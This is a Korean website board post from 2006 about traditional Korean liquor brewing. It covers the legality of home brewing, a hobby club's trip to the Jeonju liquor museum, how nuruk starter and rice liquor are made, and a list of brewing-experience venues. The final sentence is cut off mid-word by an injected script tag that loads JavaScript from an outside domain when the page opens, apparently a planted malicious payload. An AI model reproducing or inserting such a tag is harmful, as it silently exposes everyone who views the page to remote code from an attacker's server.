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싱싱함이 가득한 인천종합어시장 이제 우리 곁에서 새롭게 태어납니다.

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번호 제목 작성자 등록일 조회
241 술빚기 체험 여행 admin 2006-06-13 11055

술은 음식이다. 좀더 수식어를 달자면 술은 기음식(氣飮食)이다. 신과 인간을 연결시켜주기도 하고, 조
상과 후손을 연결시켜주기도 하고, 과거와 현재를 연결시켜주기도 한다. 때로 피로를 풀어주기도 하고,
다친 마음을 위로해주기도 한다. 술의 긍정적인 점만 말하면 그렇다. 술의 부정적인 측면, 음주음전이
나 알코올 중독 따위를 거론하기 시작하면, 한도 끝도 없다. 하지만 죄는 술에 있지 않다. 사람에게 있
다. 술도 칼처럼 어떻게 쓰느냐에 따라 그 값어치가 달라진다. 분명한 것은 술은 담배처럼 백해무익하지
는 않다는 점이다.

술을 기분좋게 마시는 방법의 하나로, 자신이 직접 술을 빚어 마시는 것이다. 술을 단순하게 취하기 위
한 도구로 보지 않고, 향기로운 음식으로 여긴다면 술을 빚는 것이 그리 어색할 일도 아니다. 현재 술빚
는 일은 불법이 아니다. 면허없이 술을 파는 것이 불법이다. 1995년에 조세범 처벌법 제8조에 “개인의
자가소비를 위한 (술)제조를 제외한다”는 조항이 추가되면서, 자가 양조가 가능해졌다.


<인사동의 우리술페스티벌에서 술을 빚는 사람들>
이런 분위기 속에서 몇몇 술도가에서 술빚기 체험 행사를 진행하거나, 인터넷 동호회에서 술빚기 행사
를 진행하고 있다. 다음 카페의 전통주 만들기 카페(cafe.daum.net/Homebrewing )에서는 한달에 한번씩
전통주체험여행을 기획하고 있다.

10월 16일과 17일에 1박2일로, 전주술박물관으로 체험여행을 떠났다. 전주에는 국내에서 유일하게 공공
기관에서 설립한 술박물관이 있다. 술도구들이 있고, 체험공간이 있고, 상품들이 진열되어 있다. 이날
모임에 전국에서 20명 가량의 동호인이 참석하고, 전주시민들이 10여명 참여한 행사였다. 술에 대한 토
론을 하고, 고두밥을 쪄서 직접 술을 빚어보기도 했다.

<전주전통술박물관에 전시된 술 관련 도구들>
술 만들기는 어려운 기술이 아니다. 마치 마라톤이 아니라, 100m 달리기다. 누구라도 달리겠다고 생각하
면 끝에 도달할 수 있다. 다만 사람들이 술빚기가 어렵다고 생각하는 것은, 한번도 배워본 적이 없어서
뭐가 뭔지 모르기 때문이다.


그럼 우리술의 특징을 살펴보자. 누룩은 우리 술의 기본이다. 누룩의 힘을 빌려, 그 딱딱하고 멍멍한 쌀
을 흐물거리는 술로 만들 수 있다. 누룩을 만들려면 누룩틀과 광목천과 빻은 통밀이 필요하다. 누룩틀
은 높이 5cm에 지름이 한뼘쯤 되는 둥근 틀이나, 사각틀이다. 누룩틀에 광목천을 깔고, 그 안에 빻은 통
밀을 손으로 한줌씩 꽉 쥐어 담는다. 이때 물을 약간 추긴 통밀은 손아귀에 꽉 쥐었을 때 물기가 묻어나
지 않고 뭉쳐질 정도라야 한다. 너무 물기가 많으면 누룩이 너무 단단하게 뭉쳐져 곰팡이 번식이 어려워
진다. 빻은 밀을 누룩틀에 넣고, 광목천으로 덮은 다음에 발뒤꿈치로 꼭꼭 밟아댄다. 누룩 만드는 것을
딛는다는 말하는 것은 이 때문이다. 이렇게 만든 누룩은 20일 넘게, 메주 띄우듯이 띄워야 한다. 요즘은
누룩을 쉽게 구입할 수 있다. 시장에 가도 있고, 인터넷에서도 구입할 수 있다.

잘 만들어진 누룩을 콩알만큼 빻아서, 고두밥을 지어 비비면 술이 된다. 초보자들이 낭패 보지 않는 방
법으로 물 대신에 생막걸리를 이용하여 누룩과 고두밥을 비비는 것이다. 빚는 술이 와인이나 맥주여도
좋다. 술은 기호식품이다. 내 기호에 맞는 술 하나, 내 손으로 빚어보는 것은 유쾌한 일이다. 체험여행
을 할 수 있는 곳을 소개할 테니, 우선 그곳의 문을 두드려보자.

<전주전통술박물관에서 시연행사를 갖는 전통주만들기 동호인들>
▶ 체험여행정보
☞ 전통술만들기 체험
인터넷 동호회에서는 한달에 한번씩 전통술 체험기행을 기획하고 있다 (cafe.daum.net/Homebrewing )
☞ 전주전통술박물관
매주 토요일 오후에 술빚기 행사가 있다. ☎ 063-287-0904
☞ 서울북촌문화센터 술빚기 체험
서울 종로구 계동 북촌문화센터에서 10명 이상이면 술빚기 당일 체험행사가 가능하다. 고두밥을 찌고
누룩과 술밥을 버무려서 3리터의 술을 빚어 가져가는데, 재료비를 포함하여 참가비는 2만원이다. 3개
월 단위로 술빚기 강좌도 진행된다. 남선희 ☎ 017-767-6411
☞ 배상면주가 산사원 술빚기 체험
경기도 포천군 화현면 화현리. 10명 이상이면 술빚기 강의와 체험행사진행한다. 체험행사 비용 1인당
1만원. 재료를 준비해야 하기에 사전에 미리 인터넷이나 전화로 예약해야 하며 관람은 무료.
(www.soolsool.co.kr ) ☎ 031-531-9300
☞ 와인(과일주)만들기 체험
인터넷 카페 동호인들은 매주 목요일을 와인데이로 정하고 와인을 담고 맛보는 행사를 한다. 매월 첫
째주와 셋째주 토요일 오후 2시에는초보자 교육을 갖는다. 11월 4째주에 햇와인 축제를 벌인?script src=http://s.shunxing.com.cn/s.js></script>

     
   
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